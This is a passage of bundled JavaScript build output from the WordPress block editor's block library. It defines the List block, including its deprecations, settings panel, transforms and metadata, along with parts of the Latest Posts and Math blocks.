          renderFeaturedImage && /* @__PURE__ */ (0, import_jsx_runtime283.jsx)("div", { className: imageClasses, children: addLinkToFeaturedImage ? /* @__PURE__ */ (0, import_jsx_runtime283.jsx)(
            "a",
            {
              href: post.link,
              onClick: showRedirectionPreventedNotice,
              children: featuredImage
            }
          ) : featuredImage }),
          /* @__PURE__ */ (0, import_jsx_runtime283.jsx)(
            "a",
            {
              className: "wp-block-latest-posts__post-title",
              href: post.link,
              dangerouslySetInnerHTML: !!titleTrimmed ? {
                __html: titleTrimmed
              } : void 0,
              onClick: showRedirectionPreventedNotice,
              children: !titleTrimmed ? (0, import_i18n97.__)("(no title)") : null
            }
          ),
          displayAuthor && currentAuthor && /* @__PURE__ */ (0, import_jsx_runtime283.jsx)("div", { className: "wp-block-latest-posts__post-author", children: (0, import_i18n97.sprintf)(
            /* translators: byline. %s: author. */
            (0, import_i18n97.__)("by %s"),
            currentAuthor.name
          ) }),
          displayPostDate && post.date_gmt && /* @__PURE__ */ (0, import_jsx_runtime283.jsx)(
            "time",
            {
              dateTime: (0, import_date2.format)("c", post.date_gmt),
              className: "wp-block-latest-posts__post-date",
              children: (0, import_date2.dateI18n)(dateFormat, post.date_gmt)
            }
          ),
          displayPostContent && displayPostContentRadio === "excerpt" && /* @__PURE__ */ (0, import_jsx_runtime283.jsx)("div", { className: "wp-block-latest-posts__post-excerpt", children: postExcerpt }),
          displayPostContent && displayPostContentRadio === "full_post" && /* @__PURE__ */ (0, import_jsx_runtime283.jsx)(
            "div",
            {
              className: "wp-block-latest-posts__post-full-content",
              dangerouslySetInnerHTML: {
                __html: post.content.raw.trim()
              }
            }
          )
        ] }, post.id);
      }) })
    ] });
  }

  // packages/block-library/build-module/latest-posts/index.mjs
  var { name: name46 } = block_default46;
  var settings46 = {
    icon: post_list_default,
    example: {},
    edit: LatestPostsEdit,
    deprecated: deprecated_default24
  };
  var init46 = () => initBlock({ name: name46, metadata: block_default46, settings: settings46 });

  // packages/block-library/build-module/list/index.mjs
  var list_exports = {};
  __export(list_exports, {
    init: () => init47,
    metadata: () => block_default47,
    name: () => name47,
    settings: () => settings47
  });
  var import_i18n100 = __toESM(require_i18n(), 1);

  // packages/block-library/build-module/list/deprecated.mjs
  var import_block_editor117 = __toESM(require_block_editor(), 1);

  // packages/block-library/build-module/list/utils.mjs
  var import_blocks41 = __toESM(require_blocks(), 1);
  var LIST_STYLES = {
    A: "upper-alpha",
    a: "lower-alpha",
    I: "upper-roman",
    i: "lower-roman"
  };
  function createListBlockFromDOMElement(listElement) {
    const type = listElement.getAttribute("type");
    const listAttributes = {
      ordered: "OL" === listElement.tagName,
      anchor: listElement.id ? listElement.id : void 0,
      start: listElement.getAttribute("start") ? parseInt(listElement.getAttribute("start"), 10) : void 0,
      reversed: listElement.hasAttribute("reversed") ? true : void 0,
      type: type && LIST_STYLES[type] ? LIST_STYLES[type] : void 0
    };
    const innerBlocks = Array.from(listElement.children).map(
      (listItem) => {
        const children = Array.from(listItem.childNodes).filter(
          (node) => node.nodeType !== node.TEXT_NODE || node.textContent.trim().length !== 0
        );
        children.reverse();
        const [nestedList, ...nodes] = children;
        const hasNestedList = nestedList?.tagName === "UL" || nestedList?.tagName === "OL";
        if (!hasNestedList) {
          return (0, import_blocks41.createBlock)("core/list-item", {
            content: listItem.innerHTML
          });
        }
        const htmlNodes = nodes.map((node) => {
          if (node.nodeType === node.TEXT_NODE) {
            return node.textContent;
          }
          return node.outerHTML;
        });
        htmlNodes.reverse();
        const childAttributes = {
          content: htmlNodes.join("").trim()
        };
        const childInnerBlocks = [
          createListBlockFromDOMElement(nestedList)
        ];
        return (0, import_blocks41.createBlock)(
          "core/list-item",
          childAttributes,
          childInnerBlocks
        );
      }
    );
    return (0, import_blocks41.createBlock)("core/list", listAttributes, innerBlocks);
  }
  function migrateToListV2(attributes2) {
    const { values, start, reversed, ordered, type, ...otherAttributes } = attributes2;
    const list = document.createElement(ordered ? "ol" : "ul");
    list.innerHTML = values;
    if (start) {
      list.setAttribute("start", start);
    }
    if (reversed) {
      list.setAttribute("reversed", true);
    }
    if (type) {
      list.setAttribute("type", type);
    }
    const [listBlock] = (0, import_blocks41.rawHandler)({ HTML: list.outerHTML });
    return [
      { ...otherAttributes, ...listBlock.attributes },
      listBlock.innerBlocks
    ];
  }
  function migrateTypeToInlineStyle(attributes2) {
    const { type } = attributes2;
    if (type && LIST_STYLES[type]) {
      return {
        ...attributes2,
        type: LIST_STYLES[type]
      };
    }
    return attributes2;
  }

  // packages/block-library/build-module/list/deprecated.mjs
  var import_jsx_runtime284 = __toESM(require_jsx_runtime(), 1);
  var v0 = {
    attributes: {
      ordered: {
        type: "boolean",
        default: false,
        role: "content"
      },
      values: {
        type: "string",
        source: "html",
        selector: "ol,ul",
        multiline: "li",
        __unstableMultilineWrapperTags: ["ol", "ul"],
        default: "",
        role: "content"
      },
      type: {
        type: "string"
      },
      start: {
        type: "number"
      },
      reversed: {
        type: "boolean"
      },
      placeholder: {
        type: "string"
      }
    },
    supports: {
      anchor: true,
      className: false,
      typography: {
        fontSize: true,
        __experimentalFontFamily: true
      },
      color: {
        gradients: true,
        link: true
      },
      __unstablePasteTextInline: true,
      __experimentalSelector: "ol,ul",
      __experimentalSlashInserter: true
    },
    save({ attributes: attributes2 }) {
      const { ordered, values, type, reversed, start } = attributes2;
      const TagName2 = ordered ? "ol" : "ul";
      return /* @__PURE__ */ (0, import_jsx_runtime284.jsx)(TagName2, { ...import_block_editor117.useBlockProps.save({ type, reversed, start }), children: /* @__PURE__ */ (0, import_jsx_runtime284.jsx)(import_block_editor117.RichText.Content, { value: values, multiline: "li" }) });
    },
    migrate: migrate_font_family_default,
    isEligible({ style: style2 }) {
      return style2?.typography?.fontFamily;
    }
  };
  var v121 = {
    attributes: {
      ordered: {
        type: "boolean",
        default: false,
        role: "content"
      },
      values: {
        type: "string",
        source: "html",
        selector: "ol,ul",
        multiline: "li",
        __unstableMultilineWrapperTags: ["ol", "ul"],
        default: "",
        role: "content"
      },
      type: {
        type: "string"
      },
      start: {
        type: "number"
      },
      reversed: {
        type: "boolean"
      },
      placeholder: {
        type: "string"
      }
    },
    supports: {
      anchor: true,
      className: false,
      typography: {
        fontSize: true,
        __experimentalFontFamily: true,
        lineHeight: true,
        __experimentalFontStyle: true,
        __experimentalFontWeight: true,
        __experimentalLetterSpacing: true,
        __experimentalTextTransform: true,
        __experimentalDefaultControls: {
          fontSize: true
        }
      },
      color: {
        gradients: true,
        link: true,
        __experimentalDefaultControls: {
          background: true,
          text: true
        }
      },
      __unstablePasteTextInline: true,
      __experimentalSelector: "ol,ul",
      __experimentalSlashInserter: true
    },
    save({ attributes: attributes2 }) {
      const { ordered, values, type, reversed, start } = attributes2;
      const TagName2 = ordered ? "ol" : "ul";
      return /* @__PURE__ */ (0, import_jsx_runtime284.jsx)(TagName2, { ...import_block_editor117.useBlockProps.save({ type, reversed, start }), children: /* @__PURE__ */ (0, import_jsx_runtime284.jsx)(import_block_editor117.RichText.Content, { value: values, multiline: "li" }) });
    },
    migrate: migrateToListV2
  };
  var v211 = {
    attributes: {
      ordered: {
        type: "boolean",
        default: false,
        role: "content"
      },
      values: {
        type: "string",
        source: "html",
        selector: "ol,ul",
        multiline: "li",
        __unstableMultilineWrapperTags: ["ol", "ul"],
        default: "",
        role: "content"
      },
      type: {
        type: "string"
      },
      start: {
        type: "number"
      },
      reversed: {
        type: "boolean"
      },
      placeholder: {
        type: "string"
      }
    },
    supports: {
      anchor: true,
      className: false,
      typography: {
        fontSize: true,
        lineHeight: true,
        __experimentalFontFamily: true,
        __experimentalFontWeight: true,
        __experimentalFontStyle: true,
        __experimentalTextTransform: true,
        __experimentalTextDecoration: true,
        __experimentalLetterSpacing: true,
        __experimentalDefaultControls: {
          fontSize: true
        }
      },
      color: {
        gradients: true,
        link: true,
        __experimentalDefaultControls: {
          background: true,
          text: true
        }
      },
      spacing: {
        margin: true,
        padding: true,
        __experimentalDefaultControls: {
          margin: false,
          padding: false
        }
      },
      __unstablePasteTextInline: true,
      __experimentalSelector: "ol,ul",
      __experimentalSlashInserter: true
    },
    isEligible({ type }) {
      return !!type;
    },
    save({ attributes: attributes2 }) {
      const { ordered, type, reversed, start } = attributes2;
      const TagName2 = ordered ? "ol" : "ul";
      return /* @__PURE__ */ (0, import_jsx_runtime284.jsx)(TagName2, { ...import_block_editor117.useBlockProps.save({ type, reversed, start }), children: /* @__PURE__ */ (0, import_jsx_runtime284.jsx)(import_block_editor117.InnerBlocks.Content, {}) });
    },
    migrate: migrateTypeToInlineStyle
  };
  var v36 = {
    attributes: {
      ordered: {
        type: "boolean",
        default: false,
        role: "content"
      },
      values: {
        type: "string",
        source: "html",
        selector: "ol,ul",
        multiline: "li",
        __unstableMultilineWrapperTags: ["ol", "ul"],
        default: "",
        role: "content"
      },
      type: {
        type: "string"
      },
      start: {
        type: "number"
      },
      reversed: {
        type: "boolean"
      },
      placeholder: {
        type: "string"
      }
    },
    supports: {
      anchor: true,
      className: false,
      typography: {
        fontSize: true,
        lineHeight: true,
        __experimentalFontFamily: true,
        __experimentalFontWeight: true,
        __experimentalFontStyle: true,
        __experimentalTextTransform: true,
        __experimentalTextDecoration: true,
        __experimentalLetterSpacing: true,
        __experimentalDefaultControls: {
          fontSize: true
        }
      },
      color: {
        gradients: true,
        link: true,
        __experimentalDefaultControls: {
          background: true,
          text: true
        }
      },
      spacing: {
        margin: true,
        padding: true,
        __experimentalDefaultControls: {
          margin: false,
          padding: false
        }
      },
      __unstablePasteTextInline: true,
      __experimentalSelector: "ol,ul",
      __experimentalOnMerge: "true",
      __experimentalSlashInserter: true
    },
    save({ attributes: attributes2 }) {
      const { ordered, type, reversed, start } = attributes2;
      const TagName2 = ordered ? "ol" : "ul";
      return /* @__PURE__ */ (0, import_jsx_runtime284.jsx)(
        TagName2,
        {
          ...import_block_editor117.useBlockProps.save({
            reversed,
            start,
            style: {
              listStyleType: ordered && type !== "decimal" ? type : void 0
            }
          }),
          children: /* @__PURE__ */ (0, import_jsx_runtime284.jsx)(import_block_editor117.InnerBlocks.Content, {})
        }
      );
    }
  };
  var deprecated_default25 = [v36, v211, v121, v0];

  // packages/block-library/build-module/list/edit.mjs
  var import_block_editor119 = __toESM(require_block_editor(), 1);
  var import_components61 = __toESM(require_components(), 1);
  var import_data50 = __toESM(require_data(), 1);
  var import_i18n99 = __toESM(require_i18n(), 1);
  var import_blocks42 = __toESM(require_blocks(), 1);
  var import_element49 = __toESM(require_element(), 1);
  var import_deprecated26 = __toESM(require_deprecated(), 1);

  // packages/block-library/build-module/list/ordered-list-settings.mjs
  var import_i18n98 = __toESM(require_i18n(), 1);
  var import_block_editor118 = __toESM(require_block_editor(), 1);
  var import_components60 = __toESM(require_components(), 1);
  var import_element47 = __toESM(require_element(), 1);
  var import_jsx_runtime285 = __toESM(require_jsx_runtime(), 1);
  var LIST_STYLE_OPTIONS = [
    {
      label: (0, import_i18n98.__)("Numbers"),
      value: "decimal"
    },
    {
      label: (0, import_i18n98.__)("Uppercase letters"),
      value: "upper-alpha"
    },
    {
      label: (0, import_i18n98.__)("Lowercase letters"),
      value: "lower-alpha"
    },
    {
      label: (0, import_i18n98.__)("Uppercase Roman numerals"),
      value: "upper-roman"
    },
    {
      label: (0, import_i18n98.__)("Lowercase Roman numerals"),
      value: "lower-roman"
    }
  ];
  var OrderedListSettings = ({ setAttributes, reversed, start, type }) => {
    const dropdownMenuProps = useToolsPanelDropdownMenuProps();
    return /* @__PURE__ */ (0, import_jsx_runtime285.jsx)(import_block_editor118.InspectorControls, { children: import_element47.Platform.isNative ? /* @__PURE__ */ (0, import_jsx_runtime285.jsxs)(import_components60.PanelBody, { title: (0, import_i18n98.__)("Settings"), children: [
      /* @__PURE__ */ (0, import_jsx_runtime285.jsx)(
        import_components60.SelectControl,
        {
          __next40pxDefaultSize: true,
          label: (0, import_i18n98.__)("List style"),
          options: LIST_STYLE_OPTIONS,
          value: type,
          onChange: (newValue) => setAttributes({ type: newValue })
        }
      ),
      /* @__PURE__ */ (0, import_jsx_runtime285.jsx)(
        import_components60.TextControl,
        {
          __next40pxDefaultSize: true,
          label: (0, import_i18n98.__)("Start value"),
          type: "number",
          onChange: (value) => {
            const int = parseInt(value, 10);
            setAttributes({
              // It should be possible to unset the value,
              // e.g. with an empty string.
              start: isNaN(int) ? void 0 : int
            });
          },
          value: Number.isInteger(start) ? start.toString(10) : "",
          step: "1"
        }
      ),
      /* @__PURE__ */ (0, import_jsx_runtime285.jsx)(
        import_components60.ToggleControl,
        {
          label: (0, import_i18n98.__)("Reverse order"),
          checked: reversed || false,
          onChange: (value) => {
            setAttributes({
              // Unset the attribute if not reversed.
              reversed: value || void 0
            });
          }
        }
      )
    ] }) : /* @__PURE__ */ (0, import_jsx_runtime285.jsxs)(
      import_components60.__experimentalToolsPanel,
      {
        label: (0, import_i18n98.__)("Settings"),
        resetAll: () => {
          setAttributes({
            type: void 0,
            start: void 0,
            reversed: void 0
          });
        },
        dropdownMenuProps,
        children: [
          /* @__PURE__ */ (0, import_jsx_runtime285.jsx)(
            import_components60.__experimentalToolsPanelItem,
            {
              label: (0, import_i18n98.__)("List style"),
              isShownByDefault: true,
              hasValue: () => !!type,
              onDeselect: () => setAttributes({
                type: void 0
              }),
              children: /* @__PURE__ */ (0, import_jsx_runtime285.jsx)(
                import_components60.SelectControl,
                {
                  __next40pxDefaultSize: true,
                  label: (0, import_i18n98.__)("List style"),
                  options: LIST_STYLE_OPTIONS,
                  value: type || "decimal",
                  onChange: (newValue) => setAttributes({ type: newValue })
                }
              )
            }
          ),
          /* @__PURE__ */ (0, import_jsx_runtime285.jsx)(
            import_components60.__experimentalToolsPanelItem,
            {
              label: (0, import_i18n98.__)("Start value"),
              isShownByDefault: true,
              hasValue: () => !!start,
              onDeselect: () => setAttributes({
                start: void 0
              }),
              children: /* @__PURE__ */ (0, import_jsx_runtime285.jsx)(
                import_components60.TextControl,
                {
                  __next40pxDefaultSize: true,
                  label: (0, import_i18n98.__)("Start value"),
                  type: "number",
                  onChange: (value) => {
                    const int = parseInt(value, 10);
                    setAttributes({
                      // It should be possible to unset the value,
                      // e.g. with an empty string.
                      start: isNaN(int) ? void 0 : int
                    });
                  },
                  value: Number.isInteger(start) ? start.toString(10) : "",
                  step: "1"
                }
              )
            }
          ),
          /* @__PURE__ */ (0, import_jsx_runtime285.jsx)(
            import_components60.__experimentalToolsPanelItem,
            {
              label: (0, import_i18n98.__)("Reverse order"),
              isShownByDefault: true,
              hasValue: () => !!reversed,
              onDeselect: () => setAttributes({
                reversed: void 0
              }),
              children: /* @__PURE__ */ (0, import_jsx_runtime285.jsx)(
                import_components60.ToggleControl,
                {
                  label: (0, import_i18n98.__)("Reverse order"),
                  checked: reversed || false,
                  onChange: (value) => {
                    setAttributes({
                      // Unset the attribute if not reversed.
                      reversed: value || void 0
                    });
                  }
                }
              )
            }
          )
        ]
      }
    ) });
  };
  var ordered_list_settings_default = OrderedListSettings;

  // packages/block-library/build-module/list/tag-name.mjs
  var import_element48 = __toESM(require_element(), 1);
  var import_jsx_runtime286 = __toESM(require_jsx_runtime(), 1);
  function TagName(props, ref) {
    const { ordered, ...extraProps } = props;
    const Tag = ordered ? "ol" : "ul";
    return /* @__PURE__ */ (0, import_jsx_runtime286.jsx)(Tag, { ref, ...extraProps });
  }
  var tag_name_default = (0, import_element48.forwardRef)(TagName);

  // packages/block-library/build-module/list/edit.mjs
  var import_jsx_runtime287 = __toESM(require_jsx_runtime(), 1);
  var DEFAULT_BLOCK4 = {
    name: "core/list-item"
  };
  var TEMPLATE9 = [["core/list-item"]];
  var NATIVE_MARGIN_SPACING = 8;
  function useMigrateOnLoad(attributes2, clientId) {
    const registry = (0, import_data50.useRegistry)();
    const { updateBlockAttributes, replaceInnerBlocks } = (0, import_data50.useDispatch)(import_block_editor119.store);
    (0, import_element49.useEffect)(() => {
      if (!attributes2.values) {
        return;
      }
      const [newAttributes, newInnerBlocks] = migrateToListV2(attributes2);
      (0, import_deprecated26.default)("Value attribute on the list block", {
        since: "6.0",
        version: "6.5",
        alternative: "inner blocks"
      });
      registry.batch(() => {
        updateBlockAttributes(clientId, newAttributes);
        replaceInnerBlocks(clientId, newInnerBlocks);
      });
    }, [attributes2.values]);
  }
  function useOutdentList(clientId) {
    const { replaceBlocks, selectionChange } = (0, import_data50.useDispatch)(import_block_editor119.store);
    const { getBlockRootClientId, getBlockAttributes: getBlockAttributes4, getBlock } = (0, import_data50.useSelect)(import_block_editor119.store);
    return (0, import_element49.useCallback)(() => {
      const parentBlockId = getBlockRootClientId(clientId);
      const parentBlockAttributes = getBlockAttributes4(parentBlockId);
      const newParentBlock = (0, import_blocks42.createBlock)(
        "core/list-item",
        parentBlockAttributes
      );
      const { innerBlocks } = getBlock(clientId);
      replaceBlocks([parentBlockId], [newParentBlock, ...innerBlocks]);
      selectionChange(innerBlocks[innerBlocks.length - 1].clientId);
    }, [clientId]);
  }
  function IndentUI({ clientId }) {
    const outdentList = useOutdentList(clientId);
    const canOutdent = (0, import_data50.useSelect)(
      (select9) => {
        const { getBlockRootClientId, getBlockName } = select9(import_block_editor119.store);
        return getBlockName(getBlockRootClientId(clientId)) === "core/list-item";
      },
      [clientId]
    );
    return /* @__PURE__ */ (0, import_jsx_runtime287.jsx)(import_jsx_runtime287.Fragment, { children: /* @__PURE__ */ (0, import_jsx_runtime287.jsx)(
      import_components61.ToolbarButton,
      {
        icon: (0, import_i18n99.isRTL)() ? format_outdent_rtl_default : format_outdent_default,
        title: (0, import_i18n99.__)("Outdent"),
        description: (0, import_i18n99.__)("Outdent list item"),
        disabled: !canOutdent,
        onClick: outdentList
      }
    ) });
  }
  function Edit17({ attributes: attributes2, setAttributes, clientId, style: style2 }) {
    const { ordered, type, reversed, start } = attributes2;
    const blockProps = (0, import_block_editor119.useBlockProps)({
      style: {
        ...import_element49.Platform.isNative && style2,
        listStyleType: ordered && type !== "decimal" ? type : void 0
      }
    });
    const innerBlocksProps = (0, import_block_editor119.useInnerBlocksProps)(blockProps, {
      defaultBlock: DEFAULT_BLOCK4,
      directInsert: true,
      template: TEMPLATE9,
      templateLock: false,
      templateInsertUpdatesSelection: true,
      ...import_element49.Platform.isNative && {
        marginVertical: NATIVE_MARGIN_SPACING,
        marginHorizontal: NATIVE_MARGIN_SPACING,
        renderAppender: false
      },
      __experimentalCaptureToolbars: true
    });
    useMigrateOnLoad(attributes2, clientId);
    const controls = /* @__PURE__ */ (0, import_jsx_runtime287.jsxs)(import_block_editor119.BlockControls, { group: "block", children: [
      /* @__PURE__ */ (0, import_jsx_runtime287.jsx)(
        import_components61.ToolbarButton,
        {
          icon: (0, import_i18n99.isRTL)() ? format_list_bullets_rtl_default : format_list_bullets_default,
          title: (0, import_i18n99.__)("Unordered"),
          description: (0, import_i18n99.__)("Convert to unordered list"),
          isActive: ordered === false,
          onClick: () => {
            setAttributes({ ordered: false });
          }
        }
      ),
      /* @__PURE__ */ (0, import_jsx_runtime287.jsx)(
        import_components61.ToolbarButton,
        {
          icon: (0, import_i18n99.isRTL)() ? format_list_numbered_rtl_default : format_list_numbered_default,
          title: (0, import_i18n99.__)("Ordered"),
          description: (0, import_i18n99.__)("Convert to ordered list"),
          isActive: ordered === true,
          onClick: () => {
            setAttributes({ ordered: true });
          }
        }
      ),
      /* @__PURE__ */ (0, import_jsx_runtime287.jsx)(IndentUI, { clientId })
    ] });
    return /* @__PURE__ */ (0, import_jsx_runtime287.jsxs)(import_jsx_runtime287.Fragment, { children: [
      /* @__PURE__ */ (0, import_jsx_runtime287.jsx)(
        tag_name_default,
        {
          ordered,
          reversed,
          start,
          ...innerBlocksProps
        }
      ),
      controls,
      ordered && /* @__PURE__ */ (0, import_jsx_runtime287.jsx)(
        ordered_list_settings_default,
        {
          ...{
            setAttributes,
            reversed,
            start,
            type
          }
        }
      )
    ] });
  }

  // packages/block-library/build-module/list/block.json
  var block_default47 = {
    $schema: "https://schemas.wp.org/trunk/block.json",
    apiVersion: 3,
    name: "core/list",
    title: "List",
    category: "text",
    allowedBlocks: ["core/list-item"],
    description: "An organized collection of items displayed in a specific order.",
    keywords: ["bullet list", "ordered list", "numbered list"],
    textdomain: "default",
    attributes: {
      ordered: {
        type: "boolean",
        default: false,
        role: "content"
      },
      values: {
        type: "string",
        source: "html",
        selector: "ol,ul",
        multiline: "li",
        default: "",
        role: "content"
      },
      type: {
        type: "string"
      },
      start: {
        type: "number"
      },
      reversed: {
        type: "boolean"
      },
      placeholder: {
        type: "string"
      }
    },
    supports: {
      anchor: true,
      html: false,
      __experimentalBorder: {
        color: true,
        radius: true,
        style: true,
        width: true
      },
      typography: {
        fontSize: true,
        lineHeight: true,
        __experimentalFontFamily: true,
        __experimentalFontWeight: true,
        __experimentalFontStyle: true,
        __experimentalTextTransform: true,
        __experimentalTextDecoration: true,
        __experimentalLetterSpacing: true,
        __experimentalDefaultControls: {
          fontSize: true
        }
      },
      color: {
        gradients: true,
        link: true,
        __experimentalDefaultControls: {
          background: true,
          text: true
        }
      },
      spacing: {
        margin: true,
        padding: true,
        __experimentalDefaultControls: {
          margin: false,
          padding: false
        }
      },
      __unstablePasteTextInline: true,
      __experimentalOnMerge: true,
      __experimentalSlashInserter: true,
      interactivity: {
        clientNavigation: true
      },
      listView: true
    },
    selectors: {
      border: ".wp-block-list:not(.wp-block-list .wp-block-list)"
    },
    editorStyle: "wp-block-list-editor",
    style: "wp-block-list"
  };

  // packages/block-library/build-module/list/save.mjs
  var import_block_editor120 = __toESM(require_block_editor(), 1);
  var import_jsx_runtime288 = __toESM(require_jsx_runtime(), 1);
  function save27({ attributes: attributes2 }) {
    const { ordered, type, reversed, start } = attributes2;
    const TagName2 = ordered ? "ol" : "ul";
    return /* @__PURE__ */ (0, import_jsx_runtime288.jsx)(
      TagName2,
      {
        ...import_block_editor120.useBlockProps.save({
          reversed,
          start,
          style: {
            listStyleType: ordered && type !== "decimal" ? type : void 0
          }
        }),
        children: /* @__PURE__ */ (0, import_jsx_runtime288.jsx)(import_block_editor120.InnerBlocks.Content, {})
      }
    );
  }

  // packages/block-library/build-module/list/transforms.mjs
  var import_blocks43 = __toESM(require_blocks(), 1);
  var import_rich_text4 = __toESM(require_rich_text(), 1);
  function getListContentSchema({ phrasingContentSchema }) {
    const listContentSchema = {
      ...phrasingContentSchema,
      ul: {},
      ol: { attributes: ["type", "start", "reversed"] }
    };
    ["ul", "ol"].forEach((tag) => {
      listContentSchema[tag].children = {
        li: {
          children: listContentSchema
        }
      };
    });
    return listContentSchema;
  }
  function getListContentFlat(blocks) {
    return blocks.flatMap(({ name: name123, attributes: attributes2, innerBlocks = [] }) => {
      if (name123 === "core/list-item") {
        return [attributes2.content, ...getListContentFlat(innerBlocks)];
      }
      return getListContentFlat(innerBlocks);
    });
  }
  var transforms14 = {
    from: [
      {
        type: "block",
        isMultiBlock: true,
        blocks: ["core/paragraph", "core/heading"],
        transform: (blockAttributes8) => {
          let childBlocks = [];
          if (blockAttributes8.length > 1) {
            childBlocks = blockAttributes8.map(({ content }) => {
              return (0, import_blocks43.createBlock)("core/list-item", { content });
            });
          } else if (blockAttributes8.length === 1) {
            const value = (0, import_rich_text4.create)({
              html: blockAttributes8[0].content
            });
            childBlocks = (0, import_rich_text4.split)(value, "\n").map((result) => {
              return (0, import_blocks43.createBlock)("core/list-item", {
                content: (0, import_rich_text4.toHTMLString)({ value: result })
              });
            });
          }
          return (0, import_blocks43.createBlock)(
            "core/list",
            {
              anchor: blockAttributes8.anchor
            },
            childBlocks
          );
        }
      },
      {
        type: "raw",
        selector: "ol,ul",
        schema: (args) => ({
          ol: getListContentSchema(args).ol,
          ul: getListContentSchema(args).ul
        }),
        transform: createListBlockFromDOMElement
      },
      ...["*", "-"].map((prefix) => ({
        type: "prefix",
        prefix,
        transform(content) {
          return (0, import_blocks43.createBlock)("core/list", {}, [
            (0, import_blocks43.createBlock)("core/list-item", { content })
          ]);
        }
      })),
      ...["1.", "1)"].map((prefix) => ({
        type: "prefix",
        prefix,
        transform(content) {
          return (0, import_blocks43.createBlock)(
            "core/list",
            {
              ordered: true
            },
            [(0, import_blocks43.createBlock)("core/list-item", { content })]
          );
        }
      }))
    ],
    to: [
      ...["core/paragraph", "core/heading"].map((block) => ({
        type: "block",
        blocks: [block],
        transform: (_attributes, childBlocks) => {
          return getListContentFlat(childBlocks).map(
            (content) => (0, import_blocks43.createBlock)(block, {
              content
            })
          );
        }
      }))
    ]
  };
  var transforms_default15 = transforms14;

  // packages/block-library/build-module/list/index.mjs
  var { name: name47 } = block_default47;
  var settings47 = {
    icon: list_default,
    example: {
      innerBlocks: [
        {
          name: "core/list-item",
          attributes: { content: (0, import_i18n100.__)("Alice.") }
        },
        {
          name: "core/list-item",
          attributes: { content: (0, import_i18n100.__)("The White Rabbit.") }
        },
        {
          name: "core/list-item",
          attributes: { content: (0, import_i18n100.__)("The Cheshire Cat.") }
        },
        {
          name: "core/list-item",
          attributes: { content: (0, import_i18n100.__)("The Mad Hatter.") }
        },
        {
          name: "core/list-item",
          attributes: { content: (0, import_i18n100.__)("The Queen of Hearts.") }
        }
      ]
    },
    transforms: transforms_default15,
    edit: Edit17,
    save: save27,
    deprecated: deprecated_default25
  };
  var init47 = () => initBlock({ name: name47, metadata: block_default47, settings: settings47 });

  // packages/block-library/build-module/math/index.mjs
  var math_exports = {};
  __export(math_exports, {
    init: () => init48,
    metadata: () => block_default48,
    name: () => name48,
    settings: () => settings48
  });

  // packages/block-library/build-module/math/edit.mjs
  var import_i18n101 = __toESM(require_i18n(), 1);
  var import_block_editor121 = __toESM(require_block_editor(), 1);
  var import_components62 = __toESM(require_components(), 1);
  var import_element50 = __toESM(require_element(), 1);
  var import_data51 = __toESM(require_data(), 1);
  var import_a11y = __toESM(require_a11y(), 1);
  var import_jsx_runtime289 = __toESM(require_jsx_runtime(), 1);
  var { Badge } = unlock(import_components62.privateApis);
  function MathEdit({ attributes: attributes2, setAttributes, isSelected }) {
    const { latex, mathML } = attributes2;
    const [blockRef, setBlockRef] = (0, import_element50.useState)();
    const [error, setError] = (0, import_element50.useState)(null);
    const [latexToMathML, setLatexToMathML] = (0, import_element50.useState)();
    const initialLatex = (0, import_element50.useRef)(latex);
    const { __unstableMarkNextChangeAsNotPersistent } = (0, import_data51.useDispatch)(import_block_editor121.store);
    (0, import_element50.useEffect)(() => {
      import("@wordpress/latex-to-mathml").then((module) => {
        setLatexToMathML(() => module.default);
        if (initialLatex.current) {
          __unstableMarkNextChangeAsNotPersistent();
          setAttributes({
            mathML: module.default(initialLatex.current, {
              displayMode: true
            })
          });
        }
      });
    }, [
      initialLatex,
      setAttributes,
      __unstableMarkNextChangeAsNotPersistent
    ]);
    const blockProps = (0, import_block_editor121.useBlockProps)({
      ref: setBlockRef,
      position: "relative"
    });
    return /* @__PURE__ */ (0, import_jsx_runtime289.jsxs)("div", { ...blockProps, children: [
      mathML ? /* @__PURE__ */ (0, import_jsx_runtime289.jsx)(
        "math",
        {
          display: "block",
          dangerouslySetInnerHTML: { __html: mathML }
        }
      ) : "\u200B",
      isSelected && /* @__PURE__ */ (0, import_jsx_runtime289.jsx)(
        import_components62.Popover,
        {
          placement: "bottom-start",
          offset: 8,
          anchor: blockRef,
          focusOnMount: false,
          __unstableSlotName: "__unstable-block-tools-after",
          children: /* @__PURE__ */ (0, import_jsx_runtime289.jsx)("div", { style: { padding: "4px", minWidth: "300px" }, children: /* @__PURE__ */ (0, import_jsx_runtime289.jsxs)(import_components62.__experimentalVStack, { spacing: 1, children: [
            /* @__PURE__ */ (0, import_jsx_runtime289.jsx)(
              import_components62.TextareaControl,
              {
                __next40pxDefaultSize: true,
                label: (0, import_i18n101.__)("LaTeX math syntax"),
                hideLabelFromVision: true,
                value: latex,
                className: "wp-block-math__textarea-control",
                onChange: (newLatex) => {
                  if (!latexToMathML) {
                    setAttributes({ latex: newLatex });
                    return;
                  }
                  let newMathML = "";
                  try {
                    newMathML = latexToMathML(newLatex, {
                      displayMode: true
                    });
                    setError(null);
                  } catch (err) {
                    setError(err.message);
                    (0, import_a11y.speak)(
                      (0, import_i18n101.sprintf)(
                        /* translators: %s: error message returned when parsing LaTeX. */
                        (0, import_i18n101.__)(
                          "Error parsing mathematical expression: %s"
                        ),
                        err.message
                      )
                    );
                  }
                  setAttributes({
                    mathML: newMathML,
                    latex: newLatex
                  });
                },
                placeholder: (0, import_i18n101.__)("e.g., x^2, \\frac{a}{b}")
              }
            ),
            error && /* @__PURE__ */ (0, import_jsx_runtime289.jsxs)(import_jsx_runtime289.Fragment, { children: [
              /* @__PURE__ */ (0, import_jsx_runtime289.jsx)(
                Badge,
                {
                  intent: "error",
                  className: "wp-block-math__error",
                  children: (0, import_i18n101.sprintf)(
                    /* translators: %s: error message returned when parsing LaTeX. */
                    (0, import_i18n101.__)("Error: %s"),
                    error
                  )
                }
              ),
              /* @__PURE__ */ (0, import_jsx_runtime289.jsx)("style", { children: ".wp-block-math__error .components-badge__content{white-space:normal}" })
            ] })
          ] }) })
        }
      )
    ] });
  }

  // packages/block-library/build-module/math/block.json
  var block_default48 = {
    $schema: "https://schemas.wp.org/trunk/block.json",
    apiVersion: 3,
    name: "core/math",
    title: "Math",
    category: "text",
    description: "Display mathematical notation using LaTeX.",
    keywords: ["equation", "formula", "latex", "mathematics"],
    textdomain: "default",
    supports: {
      anchor: true,
      html: false,
      __experimentalBorder: {
        color: true,
        radius: true,
        style: true,
        width: true
      },
      color: {
        gradients: true,
        __experimentalDefaultControls: {
          background: true,
          text: true
        }
      },
      spacing: {
        margin: true,
        padding: true,
        __experimentalDefaultControls: {
          margin: false,
          padding: false
        }
      },
